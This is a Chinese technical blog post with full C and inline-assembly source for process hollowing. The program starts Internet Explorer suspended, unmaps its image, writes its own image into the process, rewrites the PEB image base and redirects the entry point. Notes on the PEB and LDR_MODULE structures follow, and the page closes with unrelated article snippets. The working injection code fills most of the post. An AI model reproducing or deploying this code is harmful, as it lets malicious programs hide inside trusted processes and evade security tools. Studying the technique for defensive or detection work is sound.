改写PEB在傀儡进程执行代码

2023-11-17

方法来源于shadow3,我整理下;

#include <windows.h>
#include <stdio.h>

#pragma comment(lib,"ntdll.lib")

typedef long NTSTATUS;

typedef struct _ChildProcessInfo 

 DWORD dwBaseAddress; 
 DWORD dwReserve; 
} CHILDPROCESS, *PCHILDPROCESS;

NTSYSAPI NTSTATUS NTAPI ZwUnmapViewOfSection(HANDLE ProcessHandle,PVOID BaseAddress);

int main(int argc, char* argv[])
{
 char IeModule[MAX_PATH] = {0};
 char SelfModule[MAX_PATH] = {0};

 HMODULE hModule;
 DWORD dwImageSize;
 PIMAGE_DOS_HEADER pDos_Header = NULL;
 PIMAGE_NT_HEADERS pNt_Header  = NULL;

 STARTUPINFO si = {0};
 PROCESS_INFORMATION pi;
 CONTEXT  ThreadContext;
 DWORD *pPEB,dwRead;
 LPVOID lpVirAddress = NULL;
 CHILDPROCESS ChildProcess;

 GetSystemDirectory(IeModule,MAX_PATH);
 IeModule[2] = '\0';
 lstrcat(IeModule,"\\Program Files\\Internet Explorer\\iexplore.exe");
 GetModuleFileName(NULL,SelfModule,MAX_PATH);
 if(!strcmp(IeModule,SelfModule))
 {
  MessageBox(NULL,"fuck , ok","rhett",MB_OK);
  return 0;
 }

 hModule = GetModuleHandle(NULL);  //得到自己进程装载的基地址
 if(hModule==NULL)
 {
  printf("get self module handle failed\n");
  return -1;
 }

 pDos_Header = (PIMAGE_DOS_HEADER)hModule;
 pNt_Header  = (PIMAGE_NT_HEADERS)((DWORD)hModule + pDos_Header->e_lfanew);

// 得到内存映象的大小
 _asm
 {
  mov  ecx,0x30
  mov  eax,fs:[ecx]
  mov  eax,[eax + 0x0c]
  mov  esi,[eax + 0x0c]
  add  esi,0x20
  lodsd
  mov  dwImageSize,eax
 }

 CreateProcess(
     NULL,
     IeModule,
     NULL,
     NULL,
     0,
     CREATE_SUSPENDED,
     NULL,
     NULL,
     &si,
     &pi
     );

 ThreadContext.ContextFlags = CONTEXT_FULL;
 GetThreadContext(pi.hThread,&ThreadContext);

 pPEB = (DWORD*)ThreadContext.Ebx;  //得到peb
 
 ReadProcessMemory(                //得到装载地址      
      pi.hProcess,
      &pPEB[2],
      (LPVOID)&(ChildProcess.dwBaseAddress),
      sizeof(DWORD),
      &dwRead
      );

 ZwUnmapViewOfSection(pi.hProcess,(PVOID)ChildProcess.dwBaseAddress);
 lpVirAddress = VirtualAllocEx(pi.hProcess,(LPVOID)hModule,dwImageSize,MEM_RESERVE | MEM_COMMIT,PAGE_EXECUTE_READWRITE);
 // 重写装载地址
 WriteProcessMemory(pi.hProcess,&pPEB[2],&lpVirAddress,sizeof(DWORD),&dwRead);
 // 写内存映象
 WriteProcessMemory(pi.hProcess,lpVirAddress,hModule,dwImageSize,&dwRead);

 ThreadContext.ContextFlags = CONTEXT_FULL|CONTEXT_DEBUG_REGISTERS;

 if((DWORD)lpVirAddress==ChildProcess.dwBaseAddress)
 {
  ThreadContext.Eax = pNt_Header->OptionalHeader.ImageBase + pNt_Header->OptionalHeader.AddressOfEntryPoint;
 }
 else
 {
  ThreadContext.Eax = (DWORD)lpVirAddress + pNt_Header->OptionalHeader.AddressOfEntryPoint;
 }

 SetThreadContext(pi.hThread,&ThreadContext);
 ResumeThread(pi.hThread);

 return 0;
}

//-----------------------------------------------------------------------------------

用到的几个重要数据结构:

peb 的结构太长,只写前几个,这里也只用到偏移8byte的字段

struct _PEB

+0x000  InheritedAddressSpace;

+0x001  ReadImageFileExecOptions;

+0x002  BeingDebugged;

+003  SpareBool;

+004  Mutant;

+008  ImageBaseAddress;

+0x00C  Ldr

...............

typedef struct _LDR_MODULE
{
    LIST_ENTRY        InLoadOrderModuleList;            // +0x00
    LIST_ENTRY        InMemoryOrderModuleList;          // +0x08
    LIST_ENTRY        InInitializationOrderModuleList;  // +0x10
    PVOID             BaseAddress;                      // +0x18
    PVOID             EntryPoint;                       // +0x1c
    ULONG             SizeOfImage;                      // +0x20
    UNICODE_STRING    FullDllName;                      // +0x24
    UNICODE_STRING    BaseDllName;                      // +0x2c
    ULONG             Flags;                            // +0x34
    SHORT             LoadCount;                        // +0x38
    SHORT             TlsIndex;                         // +0x3a
    LIST_ENTRY        HashTableEntry;                   // +0x3c
    ULONG             TimeDateStamp;                    // +0x44
                                                        // +0x48
} LDR_MODULE, *PLDR_MODULE;

转自http://9994918.blog.hexun.com/57813507_d.html

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

改写PEB在傀儡进程执行代码 的相关文章

  • 最熟悉的陌生人:ListView 中的观察者模式

    http blog csdn net u011240877 article details 52683711 RecyclerView 得宠之前 ListView 可以说是我们用的最多的组件 之前一直没有好好看看它的源码 知其然不知其所以然
  • tar分卷压缩解压

    1 使用tar分卷压缩 格式 tar cvzf filedir split d b 50m filename 样例 tar cvzf dir split d b 10m dirname tar gz 将 dir 打包 并切割为 10m 的包
  • python——*和**

    python中 和 的使用分两个方面 一个是计算 另一个是参数传递过程中元素的打包和解包 计算中的运用 和 在python中最常见的作用分别是 相乘 和 乘幂 如下 gt gt gt a 2 gt gt gt b 3 gt gt gt c
  • 20个Android游戏源码,…

    原文地址 分享20个Android游戏源码 希望大家喜欢哈 作者 我算哪根葱 分享20个 Android 游戏源码 希望大家喜欢哈 http www apkbus com android 21834 1 1 html Android 疯狂足
  • 凸优化学习(三)——凸函数

    注意 本文内容来自于吴恩达老师cs229课堂笔记的中文翻译项目 https github com Kivy CN Stanford CS 229 CN 中的凸优化部分的内容进行翻译学习 3 凸函数 凸优化的一个核心要素是凸函数的概念 定义
  • vtm配置以及编码示例

    vtm配置以及编码示例 下载VTM源码 网址 VTM源码 选择对应的版本下载 版本从2 0到最新的版本 1 0版本的VTM需要使用HM的工具svn下载 VTM 1 0源码地址 https jvet hhi fraunhofer de svn
  • STM32F4 IAP 跳转 APP问题

    1 概念 IAP 的作用 网上其他资料已经有很多介绍了 这里放一个链接 不进行深入的介绍 本文的关注重点是Bootloader在跳转APP程序中出现的问题 IAP的实现原理讲解以及中断向量表的偏移 2 程序 本人主要做应用层的开发 所有Bo
  • python--判断奇数偶数

    num int input 输入一个数 if num 2 0 print 0 是偶数 format num else print 0 是奇数 format num 优化 while True try num int input 输入一个整数

随机推荐

  • TS中类型推论、类型别名和never类型

    一 类型推论 TypeScript会在没有明确的指定类型的时候推测出一个类型 这就是类型推论 如果没声明变量 没定义类型 也没赋值 这时候TS会推断成any类型可以进行任何操作 let str str 456 str null 二 类型别名
  • 5分钟 教你搭建个人博客

    链接 https www jianshu com p 4eaddcbe4d12 五分钟倒数已经可以计时了 三步完成免费个人博客搭建 这是一篇小白也能看懂的文章 本文主要针对mac OS Windows 除了软件安装方式和命令有些区别 装了g
  • C++11之初始化列表

    系列文章 C 11之正则表达式 regex match regex search regex replace C 11之线程库 Thread Mutex atomic lock guard 同步 C 11之智能指针 unique ptr s
  • redis部署锦集,redis部署都在这了。

    大数据之Redis Redis各种部署方案和实现 Redis在大数据技术的发展中主要是用来作为中间值存储 快速计算 管道等工具使用 今天先给大家介绍一下关于Redis的部署方案和实现 其原理和应用将会在下一期和大家分享 直接上干货 一 单机
  • 从零起步:学习数据结构的完整路径

    文章目录 1 基础概念和前置知识 2 线性数据结构 3 栈和队列 4 树结构 5 图结构 6 散列表和哈希表 7 高级数据结构 8 复杂性分析和算法设计 9 实践和项目 10 继续学习和深入 11 学习资源 12 练习和实践 欢迎来到数据结
  • 在MDK5中新建STM32F4XX工程模板(基于固件库)

    0 库函数和寄存器的区别 本质上是一样的 可以在库函数模板里面 直接操作寄存器 因为官方库相关头文件有寄存器定义 但是不能在寄存器模板调用库函数 因为没有引入库函数相关定义 了解寄存器基本原理的目的是为了让我们对STM32相关知识有比较深入
  • linux显示指定目录下的所有文件的文件类型和文件名

    linux显示指定目录下的所有文件的文件类型和文件名 并打印普通文件个数 用到的函数 DIR opendir const char name struct dirent readdir DIR dirp int closedir DIR d
  • python 离群值_如何从Numpy数组中删除离群值

    我写了一个代码 取多个图像的平均值来检索背景 这基本上删除了图像中的移动对象 我试着在取平均值之前去掉离群值 这样我就可以得到背景而不是褪色的对象 我尝试了一些技巧 最近的一个是 usr bin env python3 import num
  • lock-linux

    sem unlink sem open pthread getspecific
  • 初识Java——指针

    指针 Pointer 还记得第一次接触指针是在大一的c语言学习中 当时学完之后只知道 就是代表的指针 但是至于其真实含义及用法还没有真正学会 这一次从零开始学习Java 又一次学习到了指针 因此对指针有了更多的认识 下面就是通过最近的学习我
  • python 制作菜单栏的详细教程

    创建一个下拉式菜单 from tkinter import import tkinter messagebox 创建主窗口 win Tk win config bg 87CEEB win title matinal的分析系统 win geo
  • XSS、CSRF、SSRF、暴力破解

    目录 1 XSS 1 1 XSS概述 1 1 1 什么是XSS 1 1 2 XSS攻击流程 1 1 3 XSS触发条件 1 标签法 2 伪协议 3 事件 1 2 反射型XSS Low Medium High 1 3 存储型XSS Low M
  • 51单片机实训(一)————Keil 基本操作

    文章目录 前言 一 Keil是什么 二 Keil基本操作 1 新建Keil工程 2 编写代码 3 输出 hex 文件 并编译 4 关联仿真程序 总结 前言 大家好 我是三 这是我的第二篇文章 更新有点慢 抱歉 上一篇文章 咱们了解学习了Pr
  • PTA 1075 链表元素分类 (c++)

    1075 链表元素分类 25 分 思路 首先建立一个结构体包含数据和下个地址 还有大小为3得vector数组 然后建立一个结构体数组 下标即为当前结点得地址 这样其实就可以用结构体数组来模拟链表进行一系列操作 然后定义一个变量并赋给它首地址
  • XML乱码问题和encoding的理解

    文件编码 文件编码也称为字符编码 用于指定在处理文本时如何表示字符 一种编码可能优于另一种编码主要取决于它能处理或不能处理哪些语言字符 不过通常首选的是 Unicode 读取或写入文件时 未正确匹配文件编码的情况可能会导致发生异常或产生不正
  • maven打包jar包到本地仓库(命令和插件两种方式)

    maven打包代码到本地仓库 命令行 打包准备 下载好maven 配置了maven的全局变量 测试 进入命令行输入 mvn version 检查maven是否安装好 joi xuyideMacBook Pro mvn version Apa
  • 【转载】Linux驱动程序框架

    http blog csdn net lemon fantasy archive 2009 02 17 3901030 aspx Linux 将所有外部设备看成是一类特殊文件 称之为 设备文件 如果说系统调用是Linux内核和应用程序之间的
  • 软件测试操作技巧分享

    一 测试阶段划分 1 单个模块功能测试时间相对较长 但每一个项目都应该有专门的集成测试阶段 并且应该不止进行一轮 每一轮集成测试 应该都有自己的目的 比如第一轮集成测试 是根据集成测试要点验证整体功能情况 第二轮集成测试是回归测试 第三轮集
  • 华为OD机试真题-新词挖掘【2023Q1】

    题目描述 小华负责公司知识图谱产品 现在要通过新词挖掘完善知识图谱新词挖掘 给出一个待挖掘问题内容字符串Content和一人词的字符串word 找到content中所有word的新词 新词 使用词word的字符排列形成的字符串 请帮小华实现
  • 改写PEB在傀儡进程执行代码

    方法来源于shadow3 我整理下 include